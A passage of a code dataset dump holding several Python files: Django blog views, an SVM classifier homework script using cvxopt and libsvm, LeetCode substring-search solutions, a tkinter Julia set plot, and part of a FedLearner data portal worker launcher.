页的页码号之间还有其它页码,因此需要显示省略号,通过 left_has_more 来指示。\n if left[0] > 2:\n left_has_more = True\n\n # 如果最左边的页码号比第 1 页的页码号大,说明当前页左边的连续页码号中不包含第一页的页码,\n # 所以需要显示第一页的页码号,通过 first 来指示\n if left[0] > 1:\n first = True\n else:\n # 用户请求的既不是最后一页,也不是第 1 页,则需要获取当前页左右两边的连续页码号,\n # 这里只获取了当前页码前后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n right = page_range[page_number:page_number + 2]\n\n # 是否需要显示最后一页和最后一页前的省略号\n if right[-1] < total_pages - 1:\n right_has_more = True\n if right[-1] < total_pages:\n last = True\n\n # 是否需要显示第 1 页和第 1 页后的省略号\n if left[0] > 2:\n left_has_more = True\n if left[0] > 1:\n first = True\n\n data = {\n 'left': left,\n 'right': right,\n 'left_has_more': left_has_more,\n 'right_has_more': right_has_more,\n 'first': first,\n 'last': last,\n }\n\n return data\n\nclass CategoryView(IndexView):\n #指定的属性值和IndexView相同,直接继承\n def get_queryset(self):\n cate=get_object_or_404(Category,pk=self.kwargs.get('pk'))\n return super(CategoryView,self).get_queryset().filter(category=cate)\n #get_queryset 方法默认获取指定模型的全部列表数据。\n #为了获取指定分类下的文章列表数据,需覆写该方法改变它的默认行为。\n # self.kwargs.get('pk') 来获取从 URL 捕获的分类 id 值\n #对get_queryset 方法获得的全部文章列表调用 filter 方法来筛选该分类下的全部文章并返回\n \nclass ArchivesView(IndexView):\n def get_queryset(self):\n year=self.kwargs.get('year')\n month=self.kwargs.get('month')\n return super(ArchivesView,self).get_queryset().filter(created_time__year=year,\n created_time__month=month\n ).order_by('-created_time')\n \nclass PostDetailView(DetailView): #继承于DetailView类\n model=Post\n template_name='blog/detail.html'\n context_object_name='post'\n \n def get(self,request,*arg,**kwargs):\n response=super(PostDetailView,self).get(request,*arg,**kwargs)\n # get 方法返回的是一个 HttpResponse 实例\n #只有当 get 方法被调用后,才有 self.object 属性\n #其值为 Post 模型实例,即被访问的文章 post\n self.object.increase_views()\n #阅读量+1\n return response\n #视图必须返回一个 HttpResponse 对象\n #get()函数作用是当文章被访问时,调用increase_views(),阅读量+1\n \n def get_object(self,queryset=None):\n post=super(PostDetailView,self).get_object(queryset=None)\n md= markdown.Markdown(extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n #代码高亮\n TocExtension(slugify=slugify),\n #自动生成目录\n ])\n #实例化了一个 markdown.Markdown 类 md\n post.body=md.convert(post.body)\n #用实例的convert方法把Markdown 文本渲染成 HTML 文本\n post.toc=md.toc\n #md.toc的值为内容的目录,传给post.toc\n return post\n #get_object()函数作用是把Post的body渲染成markdown形式\n \n def get_context_data(self,**kwargs):\n context=super(PostDetailView,self).get_context_data(**kwargs)\n form=CommentForm()\n comment_list=self.object.comment_set.all()\n context.update({\n 'form':form,\n 'comment_list':comment_list\n })\n return context\n #返回的值是一个字典,这个字典就是模板变量字典,最终会被传递给模板。\n #get_context_data()作用是把文章对应的评论表单、评论列表传递给模板\n \n \ndef all_archives(request):\n date_list=Post.objects.dates('created_time', 'month', order='DESC')\n return render(request,'blog/archives.html',context={'date_list' : date_list})\n \ndef all_category(request):\n category_list=Category.objects.all()\n return render(request,'blog/category.html',context={'category_list' : category_list})\n \n#上面两个函数all-archives、all_category分别是右上角导航栏“归档”、“分类”按钮的视图函数\n\nclass TagView(ListView):\n model=Post\n template_name='blog/index.html'\n context_object_name='post_list'\n \n def get_queryset(self):\n tag=get_object_or_404(Tag,pk=self.kwargs.get('pk'))\n return super(TagView,self).get_queryset().filter(tags=tag)\n \n \ndef search(request):\n q=request.GET.get('q')\n #表单中搜索框 input 的 name 属性的值是 q\n #用get方法从request.GET中获取用户提交的关键词q\n error_msg=''\n #下面判断q是否为空,q是空的话返回模板一个错误提示信息\n #q有值的话,用filter过滤出全部title或者body含有q的Post并赋值成一个list\n #然后返回模板错误提示信息为空,list为过滤出的Post\n if not q:\n error_msg=\"请输入关键词\"\n return render(request,'blog/index.html',{'error_msg':error_msg})\n post_list=Post.objects.filter(Q(title__icontains=q) | Q(body__icontains=q))\n return render(request,'blog/index.html',{'error_msg': error_msg,\n 'post_list': post_list})\n \ndef about(request):\n \n return render(request,'blog/about.html',context={})","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"193613034","text":"# -*- coding: utf-8 -*-\nfrom cvxopt import matrix, solvers\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime\nimport pandas as pd\nimport statistics\nfrom math import floor\n\n#%%\n\n\ndef read_it(path, filter_it = True):\n train_data = pd.read_csv(path, header=None)\n new_columns = {train_data.columns[-1]: 'labels'}\n train_data.rename(columns = new_columns, inplace=True)\n if filter_it:\n train_data = train_data[(train_data.labels == d) | (train_data.labels == d+1)]\n\n return train_data\n\n# For 2 (B) reading data\ndef fancy_read(path):\n train_data = pd.read_csv(path, header=None)\n new_columns = {train_data.columns[-1]: 'labels'}\n train_data.rename(columns = new_columns, inplace=True)\n \n d_data = {}\n for i in range(10):\n d_data[i] = train_data[train_data.labels == i].iloc[:,0:-1]\n d_data[i] = d_data[i] / 255\n d_data[i] = d_data[i].to_numpy()\n \n return d_data\n\ndef preprocessing(data, process_y = True):\n X_data = data.iloc[:,0:-1]\n X_data = X_data / 255\n X_data = X_data.to_numpy()\n Y_data = data.iloc[:,-1]\n if process_y:\n Y_data = (Y_data - (d + 0.5))*2\n Y_data = Y_data.tolist()\n return X_data, Y_data\n\n\n#%%\n\nclass SVM_class:\n def __init__(self, X, Y, c=1, gama = 0.05):\n self.X = X\n self.Y = Y\n self.c = c\n self.gama = gama\n self.m, self.n = X.shape\n self.alphas = [0]*len(Y)\n self.b_gau = None\n \n def gaussian_kernel(self, x, z, gama = 0.05):\n x1 = np.linalg.norm(x - z)**2\n val = np.exp(-1* x1 * gama)\n return val\n \n def make_parameters(self, kernel = 'Linear'):\n P = np.zeros((self.m, self.m))\n for i in range(self.m):\n for j in range(self.m):\n temp = 1\n if kernel == 'Linear':\n temp = self.X[i].T @ self.X[j]\n elif kernel == 'Gaussian':\n temp = self.gaussian_kernel(self.X[i], self.X[j], self.gama)\n P[i,j] = self.Y[i] * self.Y[j] * temp\n q = np.array([-1]*self.m)\n G1 = np.diag([1]*self.m)\n G2 = np.diag([-1]*self.m)\n G = np.append(G1, G2, axis = 0)\n h = np.append([self.c]*self.m, [0.0]*self.m, axis =0)\n A = np.array([self.Y])\n b = np.array([0.0])\n \n P = matrix(P, tc='d')\n q = matrix(q, tc='d')\n G = matrix(G, tc='d')\n h = matrix(h, tc='d')\n A = matrix(A, tc='d')\n b = matrix(b, tc='d')\n return P,q,G,h,A,b\n \n def learn(self, kernel = 'Linear', print_op = True):\n t1 = datetime.datetime.now()\n \n print('Making parameters...') if print_op else None\n P, q, G, h, A, b = self.make_parameters(kernel)\n \n print('Solving Started...') if print_op else None\n solvers.options['show_progress'] = False\n sol = solvers.qp(P, q, G, h, A, b)\n \n t2 = datetime.datetime.now()\n print('Time to learn:', t2 -t1) if print_op else None\n \n self.alphas = sol['x']\n alpha_threshold = (min(self.alphas) + max(self.alphas))/1000\n nSV = 0\n for i in range(len(self.alphas)):\n if self.alphas[i] < alpha_threshold:\n self.alphas[i] = 0\n else:\n nSV += 1\n \n print(\"nSV:\", nSV, 'With threshold:', alpha_threshold) if print_op else None\n print('Primal objective:', sol['primal objective']) if print_op else None\n return self.alphas\n \n def calc_parameters(self):\n W = np.zeros(self.n)\n for i in range(self.m):\n W += self.alphas[i] * self.Y[i] * self.X[i]\n b1_min = 10000000\n b2_max = -10000000\n for i in range(self.m):\n comp = W.T @ self.X[i]\n if self.Y[i] == 1:\n if comp < b1_min:\n b1_min = comp\n if self.Y[i] == -1:\n if comp > b2_max:\n b2_max = comp\n b = -1.0 * (b1_min + b2_max)/2\n return (W, b)\n \n def accuracy(self, Y_prediction, Y_label):\n s =0\n for y_hat, y in zip(Y_prediction, Y_label):\n if y_hat == y:\n s += 1\n return s*100/len(Y_label)\n \n def predict(self, X_test, Y_test = [], print_op = True):\n W, b = self.calc_parameters()\n Y_prediction = X_test @ W + b\n Y_prediction = [ 1 if y_hat>0 else -1 for y_hat in Y_prediction]\n if print_op:\n print('Accuracy:',self.accuracy(Y_prediction, Y_test))\n return Y_prediction\n \n def predict_gaussian(self, X_test, Y_test = [], print_op= True):\n Y_prediction = np.zeros(X_test.shape[0])\n \n #Calculating b\n if self.b_gau == None:\n b1_min = 1000000\n b2_max = -1000000\n for j in range(self.m):\n comp = 0\n for i in range(self.m):\n comp += self.alphas[i] *self.Y[i] * self.gaussian_kernel(self.X[i], self.X[j], self.gama)\n if self.Y[j] == 1 and b1_min > comp:\n b1_min = comp\n elif self.Y[j] == -1 and b2_max < comp:\n b2_max = comp\n self.b = -1.0* (b1_min + b2_max)/2\n b = self.b\n \n # For prediction using kernel (X@W + b)\n for i in range(X_test.shape[0]):\n for j in range(self.m):\n Y_prediction[i] += self.alphas[j] * self.Y[j] * self.gaussian_kernel(self.X[j], X_test[i], self.gama)\n Y_prediction[i] += b\n \n # specifying predicted values to class\n Y_prediction = [ 1 if y_hat >= 0.0 else -1 for y_hat in Y_prediction]\n if len(Y_test) == len(X_test) and print_op:\n print('Accuracy:', self.accuracy(Y_prediction, Y_test))\n return Y_prediction\n\n\n#%%\n\n#Part c -- SVM for Linear and Gaussian using LIBSVM\n\nfrom libsvm.svmutil import svm_problem, svm_parameter, svm_train, svm_predict\n\nclass Libsvm_class:\n def __init__(self, X_train, Y_train, c = 1, gama = 0.05):\n self.problem = svm_problem(Y_train, X_train.tolist())\n self.c = c\n self.gama = gama\n self.model = None\n \n def learn(self, kernel = 'Linear', print_op = True):\n param = None\n t1 = datetime.datetime.now()\n input_params =''\n if kernel == 'Linear':\n input_params = \"-s 0 -c \" + str(self.c) + \" -t 0\"\n elif kernel == 'Gaussian':\n input_params = \"-s 0 -c \" + str(self.c) + \" -t 2 -g \"+ str(self.gama)\n if not print_op:\n input_params += ' -q'\n param = svm_parameter(input_params)\n \n self.model = svm_train(self.problem, param)\n if print_op:\n print('Time to learn:', datetime.datetime.now() - t1)\n \n def predict(self, X, Y, print_op = True):\n pred = None\n if print_op:\n pred, _, _ = svm_predict(Y, X, self.model)\n else:\n pred, _, _ = svm_predict(Y, X, self.model, '-q')\n return pred\n\n\n#%%\n\nclass One_vs_one_classifier:\n def __init__(self, dict_data):\n self.dict_data = dict_data\n self.models = {}\n self.svm_class = 'cvxopt'\n \n def learn(self, c= 1, gama= 0.05, svm_class= 'cvxopt', print_op = True):\n print(\"Learning models...\") if print_op else None\n t1 = datetime.datetime.now()\n self.svm_class = svm_class\n for i in range(10):\n for j in range(i+1,10):\n X = np.append(self.dict_data[i], self.dict_data[j], axis = 0)\n Y = np.append([1.0]*len(self.dict_data[i]), [-1.0]*len(self.dict_data[j]))\n if svm_class == 'cvxopt':\n self.models[(i,j)] = SVM_class(X, Y, c, gama)\n elif svm_class == 'livsvm':\n self.models[(i,j)] = Libsvm_class(X, Y, c, gama)\n self.models[(i,j)].learn('Gaussian',print_op = False)\n print(\"Time to learn:\", datetime.datetime.now() - t1) if print_op else None\n return self.models\n \n def predict(self, X_test, Y_test, print_op = True):\n print(\"Doing Prediction...\") if print_op else None\n t1 = datetime.datetime.now()\n predictions_mesh = []\n predictions = [0]*len(X_test)\n for i in range(10):\n for j in range(i+1, 10):\n pred = None\n if self.svm_class == 'cvxopt':\n pred = self.models[(i,j)].predict_gaussian(X_test, Y_test, False)\n elif self.svm_class == 'livsvm':\n pred = self.models[(i, j)].predict(X_test, Y_test, print_op = False)\n pred = [i if p == 1 else j for p in pred]\n predictions_mesh.append(pred)\n predictions_mesh = np.transpose(predictions_mesh)\n \n #Taking the highest freq value and highest val if tie\n for i in range(len(predictions)):\n predictions_mesh[i].sort()\n predictions[i] = statistics.mode(predictions_mesh[i][::-1])\n t2 = datetime.datetime.now()\n print(\"Time to predict:\", t2 - t1) if print_op else None\n #print(predictions)\n acc = self.accuracy(predictions, Y_test)\n print(\"Accuracy:\", acc) if print_op else None\n return predictions, acc\n \n def accuracy(self, Y_pred, Y_label):\n s =0\n for y_hat, y in zip(Y_pred, Y_label):\n if y_hat == y:\n s +=1\n return 100*s/len(Y_label)\n \n def confusion_matrix(self, predictions, labels, path):\n n = 10\n show_wrong_data = 10\n conf_matrix = [[0 for i in range(n)] for j in range(n)]\n print(\"Few wrongly classified datas:\")\n for y_hat, y in zip(predictions, labels):\n conf_matrix[y][y_hat] +=1\n if y != y_hat and show_wrong_data !=0:\n print('actual:', y, '\\t', 'predicted:', y_hat)\n show_wrong_data -= 1\n \n fig, ax = plt.subplots(figsize=(7.5, 7.5))\n ax.matshow(conf_matrix, cmap=plt.cm.Blues, alpha=0.9)\n for i in range(len(conf_matrix)):\n for j in range(len(conf_matrix[0])):\n ax.text(x=j, y=i,s=conf_matrix[i][j], va='center', ha='center', size='xx-large')\n plt.xlabel('Predictions', fontsize=18)\n plt.ylabel('Actuals', fontsize=18)\n plt.title('Confusion Matrix', fontsize=18)\n plt.savefig(path)\n return conf_matrix\n\n\n\n#%%\n\ndef structure_x_y(X, Y):\n train_data = np.append(X, np.array(Y).reshape(X.shape[0],-1), axis = 1)\n train_data = pd.DataFrame(train_data)\n new_columns = {train_data.columns[-1]: 'labels'}\n train_data.rename(columns = new_columns, inplace=True)\n \n d_data = {}\n for i in range(10):\n d_data[i] = train_data[train_data.labels == i].iloc[:,0:-1]\n d_data[i] = d_data[i].to_numpy()\n \n return d_data\n\ndef validation_set(K, X_train, Y_train, X_test, Y_test):\n gama = 0.05\n c_s = [10**-5, 10**-3, 1, 5, 10]\n accuracy_c = [0.0]*len(c_s)\n accuracy_test = [0.0]*len(c_s)\n m = len(Y_train)\n X_set = [None]*K\n Y_set = [None]*K\n for k in range(K):\n X_set[k] = X_train[floor(k*m/K) : floor((k+1)*m/K)]\n Y_set[k] = Y_train[floor(k*m/K) : floor((k+1)*m/K)]\n \n for c,i in zip(c_s, range(len(c_s))):\n print('-------------For c=', c ,'-----------')\n acc_c = []\n acc_t = []\n for k in range(K):\n print('\\tSet',k+1, end='\\t')\n X = np.empty((0, X_train.shape[1]), float)\n Y = np.empty((0, 1), float)\n #making train data for learning except kth\n for j in range(K):\n if j == k:\n continue\n X = np.append(X, X_set[j], axis = 0)\n Y = np.append(Y, Y_set[j])\n d_data = structure_x_y(X,Y)\n ooc_liv = One_vs_one_classifier(d_data)\n _ = ooc_liv.learn(c, gama, 'livsvm', print_op = False)\n #print('\\t for train set:', end = '\\n\\t')\n pred_1, acc_1 = ooc_liv.predict(X, Y, print_op = False)\n # print(\"set acc =\",acc)\n # print(\"\\tprediction:\",pred)\n pred_2, acc_2 = ooc_liv.predict(X_set[k], Y_set[k], print_op = False)\n print(\"\\tValidation Accuracy:\", acc_2, '\\n')\n\n pred_3, acc_3 = ooc_liv.predict(X_test, Y_test, print_op = False)\n \n acc_c.append(acc_2)\n acc_t.append(acc_3)\n accuracy_c[i] = np.mean(acc_c)\n accuracy_test[i] = np.mean(acc_t)\n print(\"\\tCross V. Accuracy (for c=\",c ,\") =\",accuracy_c[i])\n print(\"\\tTest Accuracy for (c=\",c ,\") =\",accuracy_test[i])\n \n #print(accuracy_c)\n plt.plot(c_s, accuracy_c, 'g', label = 'Validation Accuracy')\n plt.plot(c_s, accuracy_test, 'r', label = 'Test Accuracy')\n plt.xticks(c_s)\n plt.xlabel('C values')\n plt.ylabel('Accuracy')\n plt.xscale('log')\n plt.savefig('acc_test_vs_valid.pnd')\n print(accuracy_c)\n print(accuracy_test)\n best_c_index = np.where(accuracy_c == np.amax(accuracy_c))[0]\n print(\"Best values of c is \", c_s[best_c_index[0]])\n return c_s[best_c_index[0]]\n\n#%%\n## Running k cross validation\n\n# train_data_all = read_it(train_path, False)\n# X_data_all, Y_data_all = preprocessing(train_data_all, False)\n\n# validation_set(5, X_data_all[:1000], Y_data_all[:1000], X_test[:10], Y_test[:10])\n\n \n#%%\n\ndef main(train_path, test_path, classify, part):\n \n ## Read and preprocess data\n \n train_data = read_it(train_path)\n X_data , Y_data = preprocessing(train_data) \n \n test_data = read_it(test_path)\n X_test_data, Y_test_data = preprocessing(test_data)\n \n if classify == '0':\n if part == 'a':\n print(\"Linear SVM:\")\n svm = SVM_class(X_data, Y_data, 1.0)\n alphas = svm.learn('Linear')\n \n print(\"Prediction:\")\n print(\"Training data\", end = \" \")\n svm.predict(X_data[:], Y_data[:])\n print(\"Testing data\", end = \" \")\n test_predictions = svm.predict(X_test_data, Y_test_data)\n \n elif part == 'b':\n print(\"Gaussian SVM:\")\n c = 1.0\n gama = 0.05\n svm_gaussian = SVM_class(X_data, Y_data, c, gama)\n gau_alpha = svm_gaussian.learn('Gaussian')\n \n print(\"Prediction:\")\n print(\"Training data\", end =\" \")\n predict_gau = svm_gaussian.predict_gaussian(X_data, Y_data)\n print(\"Test data\", end = \" \")\n predict_test_gau = svm_gaussian.predict_gaussian(X_test_data, Y_test_data)\n \n elif part == 'c':\n print(\"\\nLibsvm:\")\n c =1.0\n gama = 0.05\n \n print('Linear')\n libsvm_linear = Libsvm_class(X_data, Y_data, c)\n libsvm_linear.learn('Linear')\n print('predictions on train and test')\n libsvm_linear.predict(X_data, Y_data)\n libsvm_linear.predict(X_test_data, Y_test_data)\n \n print('\\nGaussian')\n libsvm_gaussian = Libsvm_class(X_data, Y_data, c, gama)\n libsvm_gaussian.learn('Gaussian')\n print('predictions on train and test ')\n libsvm_gaussian.predict(X_data, Y_data)\n libsvm_gaussian.predict(X_test_data, Y_test_data)\n else:\n print('Invalid argument')\n \n elif classify == '1':\n d_data = fancy_read(train_path)\n test_data = read_it(test_path, False)\n X_test, Y_test = preprocessing(test_data, False)\n \n if part == 'a':\n print(\"\\n\\nOne vs One Classifier for cvxopt\")\n \n ooc = One_vs_one_classifier(d_data)\n models = ooc.learn(1.0, 0.05)\n \n pred, _ = ooc.predict(X_test, Y_test)\n\n elif part == 'b':\n print(\"\\n\\nOne vs One Classifier for livsvm\")\n c = 1\n gama = 0.05\n \n ooc_liv = One_vs_one_classifier(d_data)\n models = ooc_liv.learn(c, gama, 'livsvm')\n \n pred, _ = ooc_liv.predict(X_test, Y_test)\n \n elif part == 'c':\n c = 1\n gama = 0.05\n \n ooc = One_vs_one_classifier(d_data)\n models = ooc.learn(1.0, 0.05)\n pred, _ = ooc.predict(X_test, Y_test)\n \n ooc.confusion_matrix(pred, Y_test, '2a_conf_matrix.png')\n \n ooc_liv = One_vs_one_classifier(d_data)\n models = ooc_liv.learn(c, gama, 'livsvm')\n pred, _ = ooc_liv.predict(X_test, Y_test)\n \n ooc_liv.confusion_matrix(pred, Y_test, '2b_conf_matrix.pnd')\n \n elif part == 'd':\n train_data_all = read_it(train_path, False)\n X_data_all, Y_data_all = preprocessing(train_data_all, False)\n \n validation_set(5, X_data_all, Y_data_all, X_test, Y_test)\n \n else:\n print('Invalid argument')\n else:\n print('Invalid argument')\n print(\"------------------- END ---------------------\")\n return None\n#%%\n#train_path = sys.argv[1]\n#test_path = sys.argv[2]\n#classify = sys.argv[3]\n#part = sys.argv[4]\ntrain_path = '~/IITD/COL774-ML/Assignment2/Q2/train.csv'\ntest_path = '~/IITD/COL774-ML/Assignment2/Q2/test.csv'\nclassify = '0'\npart = 'a'\nd = 5\n\n#%%\nmain(train_path, test_path, classify, part)\nmain(train_path, test_path, classify, 'b')\nmain(train_path, test_path, classify, 'c')\nmain(train_path, test_path, '1', 'a')\nmain(train_path, test_path, '1', 'b')\nmain(train_path, test_path, '1', 'c')\n#main(train_path, test_path, '1', 'd')\n\n\n#%%\n# if __name__ == \"__main__\":\n # main()","sub_path":"Q2/Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":17825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"13361722","text":"# 实现strStr()函数。\n# 给你两个字符串haystack 和 needle ,请你在 haystack 字符串中找出 needle 字符串出现的第一个位置(下标从 0 开始)。\n# 如果不存在,则返回 -1 。\n# 说明:\n# 当needle是空字符串时,我们应当返回什么值呢?这是一个在面试中很好的问题。\n# 对于本题而言,当needle是空字符串时我们应当返回 0 。\n# 这与 C 语言的strstr()以及 Java 的indexOf()定义相符。\n# 示例 1:\n# 输入:haystack = \"hello\", needle = \"ll\"\n# 输出:2\n# 示例 2:\n# 输入:haystack = \"aaaaa\", needle = \"bba\"\n# 输出:-1\n# 示例 3:\n# 输入:haystack = \"\", needle = \"\"\n# 输出:0\n# 来源:力扣(LeetCode)\n# 链接:https://leetcode-cn.com/problems/implement-strstr\n# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\nclass Solution1:\n def strStr(self, haystack: str, needle: str) -> int:\n return haystack.find(needle)\n\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n if needle == \"\": return 0\n if needle not in haystack: return -1\n return haystack.index(needle)\n\n# KMP todo\nclass Solution2:\n def strStr(self, haystack: str, needle: str) -> int:\n s = haystack #纯粹为了好写\n t = needle\n ############ 方法1:BF\n sn, tn = len(s), len(t)\n if tn == 0:\n return 0\n i, j = 0, 0\n while i < sn and j < tn:\n if s[i] == t[j]:\n i += 1\n j += 1\n else:\n i = i - j + 1 #回退\n j = 0\n ## j指针遍历了t\n if j == tn:\n return i - j\n return -1\n\n# Sunday todo\n# https://leetcode-cn.com/problems/implement-strstr/solution/python3-sundayjie-fa-9996-by-tes/\nclass Solution3:\n def strStr(self, haystack: str, needle: str) -> int:\n\n # Func: 计算偏移表\n def calShiftMat(st):\n dic = {}\n for i in range(len(st)-1,-1,-1):\n if not dic.get(st[i]):\n dic[st[i]] = len(st)-i\n dic[\"ot\"] = len(st)+1\n return dic\n\n # 其他情况判断\n if len(needle) > len(haystack):return -1\n if needle==\"\": return 0\n\n # 偏移表预处理\n dic = calShiftMat(needle)\n idx = 0\n\n while idx+len(needle) <= len(haystack):\n\n # 待匹配字符串\n str_cut = haystack[idx:idx+len(needle)]\n\n # 判断是否匹配\n if str_cut==needle:\n return idx\n else:\n # 边界处理\n if idx+len(needle) >= len(haystack):\n return -1\n # 不匹配情况下,根据下一个字符的偏移,移动idx\n cur_c = haystack[idx+len(needle)]\n if dic.get(cur_c):\n idx += dic[cur_c]\n else:\n idx += dic[\"ot\"]\n\n\n return -1 if idx+len(needle) >= len(haystack) else idx\n\n# Rabin-Karp todo\n# https://leetcode-cn.com/problems/implement-strstr/solution/28-shi-xian-strstrbf-rk-kmpsan-jie-fa-py-wodj/\nclass Solution4:\n def strStr(self, haystack: str, needle: str) -> int:\n m = len(haystack)\n n = len(needle)\n if n > m: return -1\n def char_to_int(c):\n return ord(c) - ord('a')\n\n a = 26\n modulus = 2 ** 31\n\n hash_h = 0\n hash_n = 0\n\n for i in range(n):\n hash_h = (hash_h * a + char_to_int(haystack[i])) % modulus\n hash_n = (hash_n * a + char_to_int(needle[i])) % modulus\n if hash_h == hash_n and haystack[:n] == needle:\n return 0\n\n # 长度为n的滑动窗口,第一个数的幂次为a ^ (n - 1) = b\n b = pow(a, n - 1, modulus)\n for i in range(n, m):\n hash_h = ((hash_h - char_to_int(haystack[i - n]) * b) * a + char_to_int(haystack[i])) % modulus\n if hash_h == hash_n and haystack[i - n + 1: i + 1] == needle:\n return i - n + 1\n return -1\n\n# 双指针\n# 链接:https://leetcode-cn.com/problems/implement-strstr/solution/28shi-xian-strstr-biao-zhun-de-shuang-zh-4y54/\nclass Solution5:\n def strStr(self, haystack, needle):\n if not needle:\n return 0\n left = 0\n right = len(needle)\n while right <= len(haystack):\n if haystack[left:right] == needle:\n return left\n left += 1\n right += 1\n return -1\n\n# Boyer-Moore todo\n# https://leetcode-cn.com/problems/implement-strstr/solution/zhe-ke-neng-shi-quan-wang-zui-xi-de-kmp-8zl57/\n# https://leetcode-cn.com/problems/implement-strstr/solution/28-shi-xian-strstr-pythonjie-ti-si-lu-by-wrallen/\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n if needle and not haystack: return -1\n if not needle: return 0\n nee_len = len(needle)\n # 文本串 开始的下标\n hay_end_index = nee_len - 1\n # 当文本串的下标没有到结尾\n while hay_end_index < len(haystack):\n tem_hay = hay_end_index\n tem_nee = nee_len - 1\n while haystack[tem_hay] == needle[tem_nee]:\n tem_hay -= 1\n tem_nee -= 1\n if tem_nee < 0:\n return hay_end_index - nee_len + 1\n bad_move = tem_nee - self.findIndex(needle[0:tem_nee], haystack[tem_hay])\n # god_move = 代码需要补充\n hay_end_index = bad_move\n return -1\n\n # 获取该字符最近的下标\n def findIndex(self, new_needle, char):\n index = -1\n for i in range(len(new_needle)):\n if new_needle[i] == char: index = i\n return index\n","sub_path":"每日一题/20210420-28. 实现 strStr().py","file_name":"20210420-28. 实现 strStr().py","file_ext":"py","file_size_in_byte":5830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"299709424","text":"from tkinter import *\nCOUNT_LIMIT = 60\n\ndef decimalToHex(decimalValue):\n hex = ''\n while decimalValue != 0:\n hexValue = decimalValue % 16\n hex = toHexChar(hexValue) + hex\n decimalValue = decimalValue // 16\n\n while len(hex) < 6:\n hex = '0' + hex\n\n return hex\n\ndef toHexChar(hexValue):\n if 0 <= hexValue <= 9:\n return chr(hexValue + ord('0'))\n else:\n return chr(hexValue - 10 + ord('A'))\n\ndef paint():\n x = -2.0\n while x < 2.0:\n y = -2.0\n while y < 2.0:\n c = count(complex(x, y))\n if c == COUNT_LIMIT:\n color = 'red'\n else:\n color = '#' + decimalToHex(round(c * 65535 / 60))\n\n canvas.create_rectangle(x * 100 + 200, y * 100 + 200, x * 100 + 200 + 5, y * 100 + 200 + 5, fill=color)\n y += 0.05\n x += 0.05\n\ndef count(z):\n c = complex(-0.3, 0.6)\n\n for i in range(COUNT_LIMIT):\n z = z * z + c\n if abs(z) > 2:\n return i\n return COUNT_LIMIT\n\nwin = Tk()\nwin.title(\"Julia Set\")\n\ncanvas = Canvas(win, width=405, height=405)\ncanvas.pack()\n\npaint()\n\nwin.mainloop()","sub_path":"PythonProgramming/cp12/프로그래밍 연습문제(cp12)/12.15.py","file_name":"12.15.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"222829714","text":"# Copyright 2020 The FedLearner Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# coding: utf-8\n\nimport argparse\nimport logging\n\nfrom fedlearner.common import data_join_service_pb2 as dj_pb\nfrom fedlearner.common import data_portal_service_pb2 as dp_pb\nfrom fedlearner.data_join.data_portal_worker import DataPortalWorker\n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.INFO)\n logging.basicConfig(format='%(asctime)s %(message)s')\n parser = argparse.ArgumentParser(description='DataJointPortal cmd.')\n parser.add_argument(\"--rank_id\", type=int,\n help=\"the rank id of this worker\")\n parser.add_argument(\"--master_addr\", type=str,\n help=\"the addr of data portal master\")\n parser.add_argument(\"--etcd_name\", type=str,\n default='test_etcd', help='the name of etcd')\n parser.add_argument(\"--etcd_addrs\", type=str,\n default=\"localhost:2379\", help=\"the addrs of etcd\")\n parser.add_argument(\"--etcd_base_dir\", type=str,\n help=\"the namespace of etcd key for data portal worker\")\n parser.add_argument(\"--use_mock_etcd\", action=\"store_true\",\n help='use to mock etcd for test')\n parser.add_argument(\"--merge_buffer_size\", type=int,\n default=4096, help=\"the buffer size for merging\")\n parser.add_argument(\"--write_buffer_size\", type=int,\n default=10485760,\n help=\"the output buffer size (bytes) for partitioner\")\n parser.add_argument(\"--input_data_file_iter\", type=str, default=\"TF_RECORD\",\n help=\"the type for input data iterator\")\n parser.add_argument(\"--compressed_type\", type=str, default='',\n choices=['', 'ZLIB', 'GZIP'],\n help='the compressed type of input data file')\n parser.add_argument(\"--batch_size\", type=int, default=1024,\n help=\"the batch size for raw data reader\")\n parser.add_argument(\"--max_flying_item\", type=int, default=300000,\n help='the maximum items processed at the same time')\n args = parser.parse_args()\n raw_data_options = dj_pb.RawDataOptions(\n raw_data_iter=args.input_data_file_iter,\n compressed_type=args.compressed_type)\n batch_processor_options = dj_pb.BatchProcessorOptions(\n batch_size=args.batch_size,\n max_flying_item=args.max_flying_item)\n partitioner_options = dj_pb.RawDataPartitionerOptions(\n partitioner_name=\"dp_worker_partitioner_{}\".format(args.rank_id),\n raw_data_options=raw_data_options,\n batch_processor_options=batch_processor_options,\n output_item_threshold=args.write_buffer_size)\n merge_options = dp_pb.MergeOptions(\n merger_name=\"dp_worker_merger_{}\".format(args.rank_id),\n raw_data_options=raw_data_options,\n batch_processor_options=batch_processor_options,\n merge_buffer_size=args.merge_buffer_size,\n output_item_threshold=args.write_buffer_size)\n\n portal_worker_options = dp_pb.DataPortalWorkerOptions(\n partitioner_options=partitioner_options,\n merge_options=merge_options)\n\n data_portal_worker = DataPortalWorker(portal_worker_options,\n args.master_addr, args.rank_id, args.etcd_name,\n args.etcd_base_dir, args.etcd_addrs, args.use_mock_etcd)\n\n 